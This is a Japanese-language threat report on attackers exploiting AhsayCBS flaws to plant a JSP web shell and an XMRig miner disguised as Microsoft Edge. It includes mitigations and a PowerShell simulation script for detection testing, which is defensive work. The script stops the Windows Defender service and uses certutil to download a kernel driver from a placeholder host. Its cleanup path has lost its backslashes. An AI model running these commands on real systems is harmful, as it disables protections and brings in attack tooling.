サイバー攻撃者が重大なAhsayCBSの脆弱性を悪用し、ウェブシェルとXMRigクリプトマイナーを設置

概要

脅威アクターは、AhsayCBSバックアップソフトウェアの2つの重大な脆弱性を悪用して、認証されていないリモートコード実行を取得しています。アクセスを得た後、攻撃者はJSPウェブシェルを展開し、Microsoft Edgeプロセスを装ったXMRigクリプトマイナーをインストールします。このキャンペーンでは、Windowsタスクマネージャーを監視し妨害することで検出を回避するAI支援のPowerShellスクリプトも使用されています。

調査

Huntressは、認証回避のCVE-2026-105133とリモートコード実行のCVE-2026-105134を組み合わせたエクスプロイトチェーンを特定しました。研究者は、msedge.exeに改名された変更されたNSSMユーティリティと、マイナーに低レベルのハードウェアアクセスを提供するために使用される脆弱なWinRing0x64.sysカーネルドライバーを観察しました。侵害後の活動には、MicrosoftEdgeUpdateSvcという名前の悪意あるWindowsサービスの作成も含まれていました。

緩和策

AhsayCBSバージョン10.3.4までを運用している組織は、即座に管理インターフェイスへのアクセスを信頼されたIPアドレスまたはVPN接続に制限する必要があります。セキュリティ更新はベンダーからリリースされ次第適用する必要があります。管理者はまた、AhsayCBSサービス実行ファイルから起動される疑わしい子プロセスを監視すべきです。

対応策

侵害の指標が検出された場合、組織は潜在的な二次的バックドアを排除するために、信頼できるバックアップから完全なホスト再イメージを実行するべきです。無許可のWindowsサービスやTempディレクトリに保存された疑わしいファイルを調査してください。既知の暗号通貨マイニングプールやAlibaba Cloud OSSホスティングインフラへの接続に関するネットワークテレメトリをレビューしてください。

シミュレーション実行

• 攻撃の流れとコマンド： 対戦相手はAhsayCBSサービスの脆弱性を成功裏に悪用しました。永続性を維持してクリプトマイナーを展開するために、彼らは最初に cbssvcX64.exe プロセスからコマンドシェルを生成します。検出を回避するために、彼らは msedge.exe をバックグラウンドブラウザープロセスのように見せかける --daemonized 引数を使って起動します。その後、PowerShellを使用してセキュリティサービスを停止し（スクリプトブロックを通してシミュレート）、最終的には certutil.exe を使ってダウンロードを行います WinRing0x64.sys、彼らのマイニングペイロードのために低レベルのシステムアクセスを容易にするためのドライバーです。

• リグレッションテストスクリプト：

  # AhsayCBS侵害後の活動のためのシミュレーションスクリプト
  # 注：このスクリプトはプロセス階層とコマンドラインを模倣して動作をシミュレートします。
  
  # 1. AhsayCBSがcmd.exeを生成するのをシミュレートします（実際のログでは特定のプロセス親子関係が必要です）
  # シミュレーション目的のため、子プロセスのアプローチを使用します。
  $cbsProcess = Start-Process "cmd.exe" -ArgumentList "/c echo AhsayCBS Simulation" -PassThru
  
  # 2. 偽のEdgeデーモナイズドプロセスをシミュレートします
  Start-Process "msedge.exe" -ArgumentList "--daemonized"
  
  # 3. 悪質なPowerShellスクリプトブロックをシミュレートします
  $maliciousScript = {
      Write-Host "Attempting to disable defenses..."
      Stop-Service -Name "WinDefend" -Force
      # タスクマネージャーとのインタラクションをシミュレート
      $taskManager = "Task Manager"
  }
  Invoke-Command -ScriptBlock $maliciousScript
  
  # 4. Certutilドライバーダウンロードをシミュレート
  Start-Process "certutil.exe" -ArgumentList "-urlcache -split -f https://example.com/WinRing0x64.sys"

• クリーンアップコマンド：

  # クリーンアップ：シミュレーションされたプロセスを終了しダウンロードされたアーティファクトを削除します。
  Stop-Process -Name "msedge" -ErrorAction SilentlyContinue
  Stop-Process -Name "cmd" -ErrorAction SilentlyContinue
  Remove-Item -Path "C:Users*DownloadsWinRing0x64.sys" -ErrorAction SilentlyContinue